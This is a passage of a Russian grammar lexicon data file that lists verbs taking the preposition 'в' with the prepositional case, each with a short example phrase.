rus_verbs:разбросать{}, // разбросать в комнате
rus_verbs:заразиться{}, // заразиться в людном месте
rus_verbs:рассеять{}, // рассеять в бою
rus_verbs:печься{}, // печься в духовке
rus_verbs:поспать{}, // поспать в палатке
rus_verbs:заступиться{}, // заступиться в драке
rus_verbs:сплетаться{}, // сплетаться в середине
rus_verbs:поместиться{}, // поместиться в мешке
rus_verbs:спереть{}, // спереть в лавке
// инфинитив:ликвидировать{ вид:несоверш }, глагол:ликвидировать{ вид:несоверш }, // ликвидировать в пригороде
// инфинитив:ликвидировать{ вид:соверш }, глагол:ликвидировать{ вид:соверш },
rus_verbs:проваляться{}, // проваляться в постели
rus_verbs:лечиться{}, // лечиться в стационаре
rus_verbs:определиться{}, // определиться в честном бою
rus_verbs:обработать{}, // обработать в растворе
rus_verbs:пробивать{}, // пробивать в стене
rus_verbs:перемешаться{}, // перемешаться в чане
rus_verbs:чесать{}, // чесать в паху
rus_verbs:пролечь{}, // пролечь в пустынной местности
rus_verbs:скитаться{}, // скитаться в дальних странах
rus_verbs:затрудняться{}, // затрудняться в выборе
rus_verbs:отряхнуться{}, // отряхнуться в коридоре
rus_verbs:разыгрываться{}, // разыгрываться в лотерее
rus_verbs:помолиться{}, // помолиться в церкви
rus_verbs:предписывать{}, // предписывать в рецепте
rus_verbs:порваться{}, // порваться в слабом месте
rus_verbs:греться{}, // греться в здании
rus_verbs:опровергать{}, // опровергать в своем выступлении
rus_verbs:помянуть{}, // помянуть в своем выступлении
rus_verbs:допросить{}, // допросить в прокуратуре
rus_verbs:материализоваться{}, // материализоваться в соседнем здании
rus_verbs:рассеиваться{}, // рассеиваться в воздухе
rus_verbs:перевозить{}, // перевозить в вагоне
rus_verbs:отбывать{}, // отбывать в тюрьме
rus_verbs:попахивать{}, // попахивать в отхожем месте
rus_verbs:перечислять{}, // перечислять в заключении
rus_verbs:зарождаться{}, // зарождаться в дебрях
rus_verbs:предъявлять{}, // предъявлять в своем письме
rus_verbs:распространять{}, // распространять в сети
rus_verbs:пировать{}, // пировать в соседнем селе
rus_verbs:начертать{}, // начертать в летописи
rus_verbs:расцветать{}, // расцветать в подходящих условиях
rus_verbs:царствовать{}, // царствовать в южной части материка
rus_verbs:накопить{}, // накопить в буфере
rus_verbs:закрутиться{}, // закрутиться в рутине
rus_verbs:отработать{}, // отработать в забое
rus_verbs:обокрасть{}, // обокрасть в автобусе
rus_verbs:прокладывать{}, // прокладывать в снегу
rus_verbs:ковырять{}, // ковырять в носу
rus_verbs:копить{}, // копить в очереди
rus_verbs:полечь{}, // полечь в степях
rus_verbs:щебетать{}, // щебетать в кустиках
rus_verbs:подчеркиваться{}, // подчеркиваться в сообщении
rus_verbs:посеять{}, // посеять в огороде
rus_verbs:разъезжать{}, // разъезжать в кабриолете
rus_verbs:замечаться{}, // замечаться в лесу
rus_verbs:просчитать{}, // просчитать в уме
rus_verbs:маяться{}, // маяться в командировке
rus_verbs:выхватывать{}, // выхватывать в тексте
rus_verbs:креститься{}, // креститься в деревенской часовне
rus_verbs:обрабатывать{}, // обрабатывать в растворе кислоты
rus_verbs:настигать{}, // настигать в огороде
rus_verbs:разгуливать{}, // разгуливать в роще
rus_verbs:насиловать{}, // насиловать в квартире
rus_verbs:побороть{}, // побороть в себе
rus_verbs:учитывать{}, // учитывать в расчетах
rus_verbs:искажать{}, // искажать в заметке
rus_verbs:пропить{}, // пропить в кабаке
rus_verbs:катать{}, // катать в лодочке
rus_verbs:припрятать{}, // припрятать в кармашке
rus_verbs:запаниковать{}, // запаниковать в бою
rus_verbs:рассыпать{}, // рассыпать в траве
rus_verbs:застревать{}, // застревать в ограде
rus_verbs:зажигаться{}, // зажигаться в сумерках
rus_verbs:жарить{}, // жарить в масле
rus_verbs:накапливаться{}, // накапливаться в костях
rus_verbs:распуститься{}, // распуститься в горшке
rus_verbs:проголосовать{}, // проголосовать в передвижном пункте
rus_verbs:странствовать{}, // странствовать в автомобиле
rus_verbs:осматриваться{}, // осматриваться в хоромах
rus_verbs:разворачивать{}, // разворачивать в спортзале
rus_verbs:заскучать{}, // заскучать в самолете
rus_verbs:напутать{}, // напутать в расчете
rus_verbs:перекусить{}, // перекусить в столовой
rus_verbs:спасаться{}, // спасаться в автономной капсуле
rus_verbs:посовещаться{}, // посовещаться в комнате
rus_verbs:доказываться{}, // доказываться в статье
rus_verbs:познаваться{}, // познаваться в беде
rus_verbs:загрустить{}, // загрустить в одиночестве
rus_verbs:оживить{}, // оживить в памяти
rus_verbs:переворачиваться{}, // переворачиваться в гробу
rus_verbs:заприметить{}, // заприметить в лесу
rus_verbs:отравиться{}, // отравиться в забегаловке
rus_verbs:продержать{}, // продержать в клетке
rus_verbs:выявить{}, // выявить в костях
rus_verbs:заседать{}, // заседать в совете
rus_verbs:расплачиваться{}, // расплачиваться в первой кассе
rus_verbs:проломить{}, // проломить в двери
rus_verbs:подражать{}, // подражать в мелочах
rus_verbs:подсчитывать{}, // подсчитывать в уме
rus_verbs:опережать{}, // опережать во всем
rus_verbs:сформироваться{}, // сформироваться в облаке
rus_verbs:укрепиться{}, // укрепиться в мнении
rus_verbs:отстоять{}, // отстоять в очереди
rus_verbs:развертываться{}, // развертываться в месте испытания
rus_verbs:замерзать{}, // замерзать во льду
rus_verbs:утопать{}, // утопать в снегу
rus_verbs:раскаиваться{}, // раскаиваться в содеянном
rus_verbs:организовывать{}, // организовывать в пионерлагере
rus_verbs:перевестись{}, // перевестись в наших краях
rus_verbs:смешивать{}, // смешивать в блендере
rus_verbs:ютиться{}, // ютиться в тесной каморке
rus_verbs:прождать{}, // прождать в аудитории
rus_verbs:подыскивать{}, // подыскивать в женском общежитии
rus_verbs:замочить{}, // замочить в сортире
rus_verbs:мерзнуть{}, // мерзнуть в тонкой курточке
rus_verbs:растирать{}, // растирать в ступке
rus_verbs:замедлять{}, // замедлять в парафине
rus_verbs:переспать{}, // переспать в палатке
rus_verbs:рассекать{}, // рассекать в кабриолете
rus_verbs:отыскивать{}, // отыскивать в залежах
rus_verbs:опровергнуть{}, // опровергнуть в своем выступлении
rus_verbs:дрыхнуть{}, // дрыхнуть в гамаке
rus_verbs:укрываться{}, // укрываться в землянке
rus_verbs:запечься{}, // запечься в золе
rus_verbs:догорать{}, // догорать в темноте
rus_verbs:застилать{}, // застилать в коридоре
rus_verbs:сыскаться{}, // сыскаться в деревне
rus_verbs:переделать{}, // переделать в мастерской
rus_verbs:разъяснять{}, // разъяснять в своей лекции
rus_verbs:селиться{}, // селиться в центре
rus_verbs:оплачивать{}, // оплачивать в магазине
rus_verbs:переворачивать{}, // переворачивать в закрытой банке
rus_verbs:упражняться{}, // упражняться в остроумии
rus_verbs:пометить{}, // пометить в списке
rus_verbs:припомниться{}, // припомниться в завещании
rus_verbs:приютить{}, // приютить в амбаре
rus_verbs:натерпеться{}, // натерпеться в темнице
rus_verbs:затеваться{}, // затеваться в клубе
rus_verbs:уплывать{}, // уплывать в лодке
rus_verbs:скиснуть{}, // скиснуть в бидоне
rus_verbs:заколоть{}, // заколоть в боку
rus_verbs:замерцать{}, // замерцать в темноте
rus_verbs:фиксироваться{}, // фиксироваться в протоколе
rus_verbs:запираться{}, // запираться в комнате
rus_verbs:съезжаться{}, // съезжаться в каретах
rus_verbs:толочься{}, // толочься в ступе
rus_verbs:потанцевать{}, // потанцевать в клубе
rus_verbs:побродить{}, // побродить в парке
rus_verbs:назревать{}, // назревать в коллективе
rus_verbs:дохнуть{}, // дохнуть в питомнике
rus_verbs:крестить{}, // крестить в деревенской церквушке
rus_verbs:рассчитаться{}, // рассчитаться в банке
rus_verbs:припарковаться{}, // припарковаться во дворе
rus_verbs:отхватить{}, // отхватить в магазинчике
rus_verbs:остывать{}, // остывать в холодильнике
rus_verbs:составляться{}, // составляться в атмосфере тайны
rus_verbs:переваривать{}, // переваривать в тишине
rus_verbs:хвастать{}, // хвастать в казино
rus_verbs:отрабатывать{}, // отрабатывать в теплице
rus_verbs:разлечься{}, // разлечься в кровати
rus_verbs:прокручивать{}, // прокручивать в голове
rus_verbs:очертить{}, // очертить в воздухе
rus_verbs:сконфузиться{}, // сконфузиться в окружении незнакомых людей
rus_verbs:выявлять{}, // выявлять в боевых условиях
rus_verbs:караулить{}, // караулить в лифте
rus_verbs:расставлять{}, // расставлять в бойницах
rus_verbs:прокрутить{}, // прокрутить в голове
rus_verbs:пересказывать{}, // пересказывать в первой главе
rus_verbs:задавить{}, // задавить в зародыше
rus_verbs:хозяйничать{}, // хозяйничать в холодильнике
rus_verbs:хвалиться{}, // хвалиться в детском садике
rus_verbs:оперировать{}, // оперировать в полевом госпитале
rus_verbs:формулировать{}, // формулировать в следующей главе
rus_verbs:застигнуть{}, // застигнуть в неприглядном виде
rus_verbs:замурлыкать{}, // замурлыкать в тепле
rus_verbs:поддакивать{}, // поддакивать в споре
rus_verbs:прочертить{}, // прочертить в воздухе
rus_verbs:отменять{}, // отменять в городе коменданский час
rus_verbs:колдовать{}, // колдовать в лаборатории
rus_verbs:отвозить{}, // отвозить в машине
rus_verbs:трахать{}, // трахать в гамаке
rus_verbs:повозиться{}, // повозиться в мешке
rus_verbs:ремонтировать{}, // ремонтировать в центре
rus_verbs:робеть{}, // робеть в гостях
rus_verbs:перепробовать{}, // перепробовать в деле
инфинитив:реализовать{ вид:соверш }, инфинитив:реализовать{ вид:несоверш }, // реализовать в новой версии
глагол:реализовать{ вид:соверш }, глагол:реализовать{ вид:несоверш },
rus_verbs:покаяться{}, // покаяться в церкви
rus_verbs:попрыгать{}, // попрыгать в бассейне
rus_verbs:умалчивать{}, // умалчивать в своем докладе
rus_verbs:ковыряться{}, // ковыряться в старой технике
rus_verbs:расписывать{}, // расписывать в деталях
rus_verbs:вязнуть{}, // вязнуть в песке
rus_verbs:погрязнуть{}, // погрязнуть в скандалах
rus_verbs:корениться{}, // корениться в неспособности выполнить поставленную задачу
rus_verbs:зажимать{}, // зажимать в углу
rus_verbs:стискивать{}, // стискивать в ладонях
rus_verbs:практиковаться{}, // практиковаться в приготовлении соуса
rus_verbs:израсходовать{}, // израсходовать в полете
rus_verbs:клокотать{}, // клокотать в жерле
rus_verbs:обвиняться{}, // обвиняться в растрате
rus_verbs:уединиться{}, // уединиться в кладовке
rus_verbs:подохнуть{}, // подохнуть в болоте
rus_verbs:кипятиться{}, // кипятиться в чайнике
rus_verbs:уродиться{}, // уродиться в лесу
rus_verbs:продолжиться{}, // продолжиться в баре
rus_verbs:расшифровать{}, // расшифровать в специальном устройстве
rus_verbs:посапывать{}, // посапывать в кровати
rus_verbs:скрючиться{}, // скрючиться в мешке
rus_verbs:лютовать{}, // лютовать в отдаленных селах
rus_verbs:расписать{}, // расписать в статье
rus_verbs:публиковаться{}, // публиковаться в научном журнале
rus_verbs:зарегистрировать{}, // зарегистрировать в комитете
rus_verbs:прожечь{}, // прожечь в листе
rus_verbs:переждать{}, // переждать в окопе
rus_verbs:публиковать{}, // публиковать в журнале
rus_verbs:морщить{}, // морщить в уголках глаз
rus_verbs:спиться{}, // спиться в одиночестве
rus_verbs:изведать{}, // изведать в гареме
rus_verbs:обмануться{}, // обмануться в ожиданиях
rus_verbs:сочетать{}, // сочетать в себе
rus_verbs:подрабатывать{}, // подрабатывать в магазине
rus_verbs:репетировать{}, // репетировать в студии
rus_verbs:рябить{}, // рябить в глазах
rus_verbs:намочить{}, // намочить в луже
rus_verbs:скатать{}, // скатать в руке
rus_verbs:одевать{}, // одевать в магазине
rus_verbs:испечь{}, // испечь в духовке
rus_verbs:сбрить{}, // сбрить в подмышках
rus_verbs:зажужжать{}, // зажужжать в ухе
rus_verbs:сберечь{}, // сберечь в тайном месте
rus_verbs:согреться{}, // согреться в хижине
инфинитив:дебютировать{ вид:несоверш }, инфинитив:дебютировать{ вид:соверш }, // дебютировать в спектакле
глагол:дебютировать{ вид:несоверш }, глагол:дебютировать{ вид:соверш },
rus_verbs:переплыть{}, // переплыть в лодочке
rus_verbs:передохнуть{}, // передохнуть в тени
rus_verbs:отсвечивать{}, // отсвечивать в зеркалах
rus_verbs:переправляться{}, // переправляться в лодках
rus_verbs:накупить{}, // накупить в магазине
rus_verbs:проторчать{}, // проторчать в очереди
rus_verbs:проскальзывать{}, // проскальзывать в сообщениях
rus_verbs:застукать{}, // застукать в солярии
rus_verbs:наесть{}, // наесть в отпуске
rus_verbs:подвизаться{}, // подвизаться в новом деле
rus_verbs:вычистить{}, // вычистить в саду
rus_verbs:кормиться{}, // кормиться в лесу
rus_verbs:покурить{}, // покурить в саду
rus_verbs:понизиться{}, // понизиться в ранге
rus_verbs:зимовать{}, // зимовать в избушке
rus_verbs:проверяться{}, // проверяться в службе безопасности
rus_verbs:подпирать{}, // подпирать в первом забое
rus_verbs:кувыркаться{}, // кувыркаться в постели
rus_verbs:похрапывать{}, // похрапывать в постели
rus_verbs:завязнуть{}, // завязнуть в песке
rus_verbs:трактовать{}, // трактовать в исследовательской статье
rus_verbs:замедляться{}, // замедляться в тяжелой воде
rus_verbs:шастать{}, // шастать в здании
rus_verbs:заночевать{}, // заночевать в пути
rus_verbs:наметиться{}, // наметиться в исследованиях рака
rus_verbs:освежить{}, // освежить в памяти
rus_verbs:оспаривать{}, // оспаривать в суде
rus_verbs:умещаться{}, // умещаться в ячейке
rus_verbs:искупить{}, // искупить в бою
rus_verbs:отсиживаться{}, // отсиживаться в тылу
rus_verbs:мчать{}, // мчать в кабриолете
rus_verbs:обличать{}, // обличать в своем выступлении
rus_verbs:сгнить{}, // сгнить в тюряге
rus_verbs:опробовать{}, // опробовать в деле
rus_verbs:тренировать{}, // тренировать в зале
rus_verbs:прославить{}, // прославить в академии
rus_verbs:учитываться{}, // учитываться в дипломной работе
rus_verbs:повеселиться{}, // повеселиться в лагере
rus_verbs:поумнеть{}, // поумнеть в карцере
rus_verbs:перестрелять{}, // перестрелять в воздухе
rus_verbs:проведать{}, // проведать в больнице
rus_verbs:измучиться{}, // измучиться в деревне
rus_verbs:прощупать{}, // прощупать в глубине
rus_verbs:изготовлять{}, // изготовлять в сарае
rus_verbs:свирепствовать{}, // свирепствовать в популяции
rus_verbs:иссякать{}, // иссякать в источнике
rus_verbs:гнездиться{}, // гнездиться в дупле
rus_verbs:разогнаться{}, // разогнаться в спортивной машине
rus_verbs:опознавать{}, // опознавать в неизвестном
rus_verbs:засвидетельствовать{}, // засвидетельствовать в суде
rus_verbs:сконцентрировать{}, // сконцентрировать в своих руках
rus_verbs:редактировать{}, // редактировать в редакторе
rus_verbs:покупаться{}, // покупаться в магазине
rus_verbs:промышлять{}, // промышлять в роще
rus_verbs:растягиваться{}, // растягиваться в коридоре
rus_verbs:приобретаться{}, // приобретаться в антикварных лавках
инфинитив:подрезать{ вид:несоверш }, инфинитив:подрезать{ вид:соверш }, // подрезать в воде
глагол:подрезать{ вид:несоверш }, глагол:подрезать{ вид:соверш },
rus_verbs:запечатлеться{}, // запечатлеться в мозгу
rus_verbs:укрывать{}, // укрывать в подвале
rus_verbs:закрепиться{}, // закрепиться в первой башне
rus_verbs:освежать{}, // освежать в памяти
rus_verbs:громыхать{}, // громыхать в ванной
инфинитив:подвигаться{ вид:соверш }, инфинитив:подвигаться{ вид:несоверш }, // подвигаться в кровати
глагол:подвигаться{ вид:соверш }, глагол:подвигаться{ вид:несоверш },
rus_verbs:добываться{}, // добываться в шахтах
rus_verbs:растворить{}, // растворить в кислоте
rus_verbs:приплясывать{}, // приплясывать в гримерке
rus_verbs:доживать{}, // доживать в доме престарелых
rus_verbs:отпраздновать{}, // отпраздновать в ресторане
rus_verbs:сотрясаться{}, // сотрясаться в конвульсиях
rus_verbs:помыть{}, // помыть в проточной воде
инфинитив:увязать{ вид:несоверш }, инфинитив:увязать{ вид:соверш }, // увязать в песке
глагол:увязать{ вид:несоверш }, глагол:увязать{ вид:соверш },
прилагательное:увязавший{ вид:несоверш },
rus_verbs:наличествовать{}, // наличествовать в запаснике
rus_verbs:нащупывать{}, // нащупывать в кармане
rus_verbs:повествоваться{}, // повествоваться в рассказе
rus_verbs:отремонтировать{}, // отремонтировать в техцентре
rus_verbs:покалывать{}, // покалывать в правом боку
rus_verbs:сиживать{}, // сиживать в саду
rus_verbs:разрабатываться{}, // разрабатываться в секретных лабораториях
rus_verbs:укрепляться{}, // укрепляться в мнении
rus_verbs:разниться{}, // разниться во взглядах
rus_verbs:сполоснуть{}, // сполоснуть в водичке
rus_verbs:скупать{}, // скупать в магазине
rus_verbs:почесывать{}, // почесывать в паху
rus_verbs:оформлять{}, // оформлять в конторе
rus_verbs:распускаться{}, // распускаться в садах
rus_verbs:зарябить{}, // зарябить в глазах
rus_verbs:загореть{}, // загореть в Испании
rus_verbs:очищаться{}, // очищаться в баке
rus_verbs:остудить{}, // остудить в холодной воде
rus_verbs:разбомбить{}, // разбомбить в горах
rus_verbs:издохнуть{}, // издохнуть в бедности
rus_verbs:проехаться{}, // проехаться в новой машине
rus_verbs:задействовать{}, // задействовать в анализе
rus_verbs:произрастать{}, // произрастать в степи
rus_verbs:разуться{}, // разуться в прихожей
rus_verbs:сооружать{}, // сооружать в огороде
rus_verbs:зачитывать{}, // зачитывать в суде
rus_verbs:состязаться{}, // состязаться в остроумии
rus_verbs:ополоснуть{}, // ополоснуть в молоке
rus_verbs:уместиться{}, // уместиться в кармане
rus_verbs:совершенствоваться{}, // совершенствоваться в управлении мотоциклом
rus_verbs:стираться{}, // стираться в стиральной машине
rus_verbs:искупаться{}, // искупаться в прохладной реке
rus_verbs:курировать{}, // курировать в правительстве
rus_verbs:закупить{}, // закупить в магазине
rus_verbs:плодиться{}, // плодиться в подходящих условиях
rus_verbs:горланить{}, // горланить в парке
rus_verbs:першить{}, // першить в горле
rus_verbs:пригрезиться{}, // пригрезиться во сне
rus_verbs:исправлять{}, // исправлять в тетрадке
rus_verbs:расслабляться{}, // расслабляться в гамаке
rus_verbs:скапливаться{}, // скапливаться в нижней части
rus_verbs:сплетничать{}, // сплетничают в комнате
rus_verbs:раздевать{}, // раздевать в кабинке
rus_verbs:окопаться{}, // окопаться в лесу
rus_verbs:загорать{}, // загорать в Испании
rus_verbs:подпевать{}, // подпевать в церковном хоре
rus_verbs:прожужжать{}, // прожужжать в динамике
rus_verbs:изучаться{}, // изучаться в дикой природе
rus_verbs:заклубиться{}, // заклубиться в воздухе
rus_verbs:подметать{}, // подметать в зале
rus_verbs:подозреваться{}, // подозреваться в совершении кражи
rus_verbs:обогащать{}, // обогащать в специальном аппарате
rus_verbs:издаться{}, // издаться в другом издательстве
rus_verbs:справить{}, // справить в кустах нужду
rus_verbs:помыться{}, // помыться в бане
rus_verbs:проскакивать{}, // проскакивать в словах
rus_verbs:попивать{}, // попивать в кафе чай
rus_verbs:оформляться{}, // оформляться в регистратуре
rus_verbs:чирикать{}, // чирикать в кустах
rus_verbs:скупить{}, // скупить в магазинах
rus_verbs:переночевать{}, // переночевать в гостинице
rus_verbs:концентрироваться{}, // концентрироваться в пробирке
rus_verbs:одичать{}, // одичать в лесу
rus_verbs:ковырнуть{}, // ковырнуть в ухе
rus_verbs:затеплиться{}, // затеплиться в глубине души
rus_verbs:разгрести{}, // разгрести в задачах залежи
rus_verbs:застопориться{}, // застопориться в начале списка
rus_verbs:перечисляться{}, // перечисляться во введении
rus_verbs:покататься{}, // покататься в парке аттракционов
rus_verbs:изловить{}, // изловить в поле
rus_verbs:прославлять{}, // прославлять в стихах
rus_verbs:промочить{}, // промочить в луже
rus_verbs:поделывать{}, // поделывать в отпуске
rus_verbs:просуществовать{}, // просуществовать в первобытном состоянии
rus_verbs:подстеречь{}, // подстеречь в подъезде
rus_verbs:прикупить{}, // прикупить в магазине
rus_verbs:перемешивать{}, // перемешивать в кастрюле
rus_verbs:тискать{}, // тискать в углу
rus_verbs:купать{}, // купать в теплой водичке
rus_verbs:завариться{}, // завариться в стакане
rus_verbs:притулиться{}, // притулиться в углу
rus_verbs:пострелять{}, // пострелять в тире
rus_verbs:навесить{}, // навесить в больнице
инфинитив:изолировать{ вид:соверш }, инфинитив:изолировать{ вид:несоверш }, // изолировать в камере
глагол:изолировать{ вид:соверш }, глагол:изолировать{ вид:несоверш },
rus_verbs:нежиться{}, // нежится в постельке
rus_verbs:притомиться{}, // притомиться в школе
rus_verbs:раздвоиться{}, // раздвоиться в глазах
rus_verbs:навалить{}, // навалить в углу
rus_verbs:замуровать{}, // замуровать в склепе
rus_verbs:поселяться{}, // поселяться в кроне дуба
rus_verbs:потягиваться{}, // потягиваться в кровати
rus_verbs:укачать{}, // укачать в поезде
rus_verbs:отлеживаться{}, // отлеживаться в гамаке
rus_verbs:разменять{}, // разменять в кассе
rus_verbs:прополоскать{}, // прополоскать в чистой теплой воде
rus_verbs:ржаветь{}, // ржаветь в воде
rus_verbs:уличить{}, // уличить в плагиате
rus_verbs:мутиться{}, // мутиться в голове
rus_verbs:растворять{}, // растворять в бензоле
rus_verbs:двоиться{}, // двоиться в глазах
rus_verbs:оговорить{}, // оговорить в договоре
rus_verbs:подделать{}, // подделать в документе
rus_verbs:зарегистрироваться{}, // зарегистрироваться в социальной сети
rus_verbs:растолстеть{}, // растолстеть в талии
rus_verbs:повоевать{}, // повоевать в городских условиях
rus_verbs:прибраться{}, // гнушаться прибраться в хлеву
rus_verbs:поглощаться{}, // поглощаться в металлической фольге
rus_verbs:ухать{}, // ухать в лесу
rus_verbs:подписываться{}, // подписываться в петиции
rus_verbs:покатать{}, // покатать в машинке
rus_verbs:излечиться{}, // излечиться в клинике
rus_verbs:трепыхаться{}, // трепыхаться в мешке
rus_verbs:кипятить{}, // кипятить в кастрюле
rus_verbs:понастроить{}, // понастроить в прибрежной зоне
rus_verbs:перебывать{}, // перебывать во всех европейских столицах
rus_verbs:оглашать{}, // оглашать в итоговой части
rus_verbs:преуспевать{}, // преуспевать в новом бизнесе
rus_verbs:консультироваться{}, // консультироваться в техподдержке
rus_verbs:накапливать{}, // накапливать в печени
rus_verbs:перемешать{}, // перемешать в контейнере
rus_verbs:наследить{}, // наследить в коридоре
rus_verbs:выявиться{}, // выявиться в результе
rus_verbs:забулькать{}, // забулькать в болоте
rus_verbs:отваривать{}, // отваривать в молоке
rus_verbs:запутываться{}, // запутываться в веревках
rus_verbs:нагреться{}, // нагреться в микроволновой печке
rus_verbs:рыбачить{}, // рыбачить в открытом море
rus_verbs:укорениться{}, // укорениться в сознании широких народных масс
rus_verbs:умывать{}, // умывать в тазике
rus_verbs:защекотать{}, // защекотать в носу
rus_verbs:заходиться{}, // заходиться в плаче
инфинитив:искупать{ вид:соверш }, инфинитив:искупать{ вид:несоверш }, // искупать в прохладной водичке
глагол:искупать{ вид:соверш }, глагол:искупать{ вид:несоверш },
деепричастие:искупав{}, деепричастие:искупая{},
rus_verbs:заморозить{}, // заморозить в холодильнике
rus_verbs:закреплять{}, // закреплять в металлическом держателе
rus_verbs:расхватать{}, // расхватать в магазине
rus_verbs:истязать{}, // истязать в тюремном подвале
rus_verbs:заржаветь{}, // заржаветь во влажной атмосфере
rus_verbs:обжаривать{}, // обжаривать в подсолнечном масле
rus_verbs:умереть{}, // Ты, подлый предатель, умрешь в нищете
rus_verbs:подогреть{}, // подогрей в микроволновке
rus_verbs:подогревать{},
rus_verbs:затянуть{}, // Кузнечики, сверчки, скрипачи и медведки затянули в траве свою трескучую музыку
rus_verbs:проделать{}, // проделать в стене дыру
инфинитив:жениться{ вид:соверш }, // жениться в Техасе
инфинитив:жениться{ вид:несоверш },
глагол:жениться{ вид:соверш },
глагол:жениться{ вид:несоверш },
деепричастие:женившись{},
деепричастие:женясь{},
прилагательное:женатый{},
прилагательное:женившийся{вид:соверш},
прилагательное:женящийся{},
rus_verbs:всхрапнуть{}, // всхрапнуть во сне
rus_verbs:всхрапывать{}, // всхрапывать во сне
rus_verbs:ворочаться{}, // Собака ворочается во сне
rus_verbs:воссоздаваться{}, // воссоздаваться в памяти
rus_verbs:акклиматизироваться{}, // альпинисты готовятся акклиматизироваться в горах
инфинитив:атаковать{ вид:несоверш }, // взвод был атакован в лесу
инфинитив:атаковать{ вид:соверш },
глагол:атаковать{ вид:несоверш },
глагол:атаковать{ вид:соверш },
прилагательное:атакованный{},
прилагательное:атаковавший{},
прилагательное:атакующий{},
инфинитив:аккумулировать{вид:несоверш}, // энергия была аккумулирована в печени
инфинитив:аккумулировать{вид:соверш},
глагол:аккумулировать{вид:несоверш},
глагол:аккумулировать{вид:соверш},
прилагательное:аккумулированный{},
прилагательное:аккумулирующий{},
//прилагательное:аккумулировавший{ вид:несоверш },
прилагательное:аккумулировавший{ вид:соверш },
rus_verbs:врисовывать{}, // врисовывать нового персонажа в анимацию
rus_verbs:вырасти{}, // Он вырос в глазах коллег.
rus_verbs:иметь{}, // Он всегда имел в резерве острое словцо.
rus_verbs:убить{}, // убить в себе зверя
инфинитив:абсорбироваться{ вид:соверш }, // жидкость абсорбируется в поглощающей ткани
инфинитив:абсорбироваться{ вид:несоверш },
глагол:абсорбироваться{ вид:соверш },
глагол:абсорбироваться{ вид:несоверш },
rus_verbs:поставить{}, // поставить в углу
rus_verbs:сжимать{}, // сжимать в кулаке
rus_verbs:готовиться{}, // альпинисты готовятся акклиматизироваться в горах
rus_verbs:аккумулироваться{}, // энергия аккумулируется в жировых отложениях
инфинитив:активизироваться{ вид:несоверш }, // в горах активизировались повстанцы
инфинитив:активизироваться{ вид:соверш },
глагол:активизироваться{ вид:несоверш },
глагол:активизироваться{ вид:соверш },
rus_verbs:апробировать{}, // пилот апробировал в ходе испытаний новый режим планера
rus_verbs:арестовать{}, // наркодилер был арестован в помещении кафе
rus_verbs:базировать{}, // установка будет базирована в лесу
rus_verbs:барахтаться{}, // дети барахтались в воде
rus_verbs:баррикадироваться{}, // преступники баррикадируются в помещении банка
rus_verbs:барствовать{}, // Семен Семенович барствовал в своей деревне
rus_verbs:бесчинствовать{}, // Боевики бесчинствовали в захваченном селе
rus_verbs:блаженствовать{}, // Воробьи блаженствовали в кроне рябины
rus_verbs:блуждать{}, // Туристы блуждали в лесу
rus_verbs:брать{}, // Жена берет деньги в тумбочке
rus_verbs:бродить{}, // парочки бродили в парке
rus_verbs:обойти{}, // Бразилия обошла Россию в рейтинге
rus_verbs:задержать{}, // Знаменитый советский фигурист задержан в США
rus_verbs:бултыхаться{}, // Ноги бултыхаются в воде
rus_verbs:вариться{}, // Курица варится в кастрюле
rus_verbs:закончиться{}, // Эта рецессия закончилась в 2003 году
rus_verbs:прокручиваться{}, // Ключ прокручивается в замке
rus_verbs:прокрутиться{}, // Ключ трижды прокрутился в замке
rus_verbs:храниться{}, // Настройки хранятся в текстовом файле
rus_verbs:сохраняться{}, // Настройки сохраняются в текстовом файле
rus_verbs:витать{}, // Мальчик витает в облаках
rus_verbs:владычествовать{}, // Король владычествует в стране
rus_verbs:властвовать{}, // Олигархи властвовали в стране
rus_verbs:возбудить{}, // возбудить в сердце тоску
rus_verbs:возбуждать{}, // возбуждать в сердце тоску
rus_verbs:возвыситься{}, // возвыситься в глазах современников
rus_verbs:возжечь{}, // возжечь в храме огонь
rus_verbs:возжечься{}, // Огонь возжёгся в храме
rus_verbs:возжигать{}, // возжигать в храме огонь
rus_verbs:возжигаться{}, // Огонь возжигается в храме
rus_verbs:вознамериваться{}, // вознамериваться уйти в монастырь
rus_verbs:вознамериться{}, // вознамериться уйти в монастырь
rus_verbs:возникать{}, // Новые идеи неожиданно возникают в колиной голове
rus_verbs:возникнуть{}, // Новые идейки возникли в голове
rus_verbs:возродиться{}, // возродиться в новом качестве
rus_verbs:возрождать{}, // возрождать в новом качестве
rus_verbs:возрождаться{}, // возрождаться в новом амплуа
rus_verbs:ворошить{}, // ворошить в камине кочергой золу
rus_verbs:воспевать{}, // Поэты воспевают героев в одах
rus_verbs:воспеваться{}, // Герои воспеваются в одах поэтами
rus_verbs:воспеть{}, // Поэты воспели в этой оде героев
rus_verbs:воспретить{}, // воспретить в помещении азартные игры
rus_verbs:восславить{}, // Поэты восславили в одах
rus_verbs:восславлять{}, // Поэты восславляют в одах
rus_verbs:восславляться{}, // Героя восславляются в одах
rus_verbs:воссоздать{}, // воссоздает в памяти образ человека
rus_verbs:воссоздавать{}, // воссоздать в памяти образ человека
rus_verbs:воссоздаться{}, // воссоздаться в памяти
rus_verbs:вскипятить{}, // вскипятить в чайнике воду
rus_verbs:вскипятиться{}, // вскипятиться в чайнике
rus_verbs:встретить{}, // встретить в классе старого приятеля
rus_verbs:встретиться{}, // встретиться в классе
rus_verbs:встречать{}, // встречать в лесу голодного медведя
rus_verbs:встречаться{}, // встречаться в кафе
rus_verbs:выбривать{}, // выбривать что-то в подмышках
rus_verbs:выбрить{}, // выбрить что-то в паху
rus_verbs:вывалять{}, // вывалять кого-то в грязи
rus_verbs:вываляться{}, // вываляться в грязи
rus_verbs:вываривать{}, // вываривать в молоке
rus_verbs:вывариваться{}, // вывариваться в молоке
rus_verbs:выварить{}, // выварить в молоке
rus_verbs:вывариться{}, // вывариться в молоке
rus_verbs:выгрызать{}, // выгрызать в сыре отверствие
rus_verbs:выгрызть{}, // выгрызть в сыре отверстие
rus_verbs:выгуливать{}, // выгуливать в парке собаку
rus_verbs:выгулять{}, // выгулять в парке собаку
rus_verbs:выдолбить{}, // выдолбить в стволе углубление
rus_verbs:выжить{}, // выжить в пустыне
rus_verbs:Выискать{}, // Выискать в программе ошибку
rus_verbs:выискаться{}, // Ошибка выискалась в программе
rus_verbs:выискивать{}, // выискивать в программе ошибку
rus_verbs:выискиваться{}, // выискиваться в программе
rus_verbs:выкраивать{}, // выкраивать в расписании время
rus_verbs:выкраиваться{}, // выкраиваться в расписании
инфинитив:выкупаться{aux stress="в^ыкупаться"}, // выкупаться в озере
глагол:выкупаться{вид:соверш},
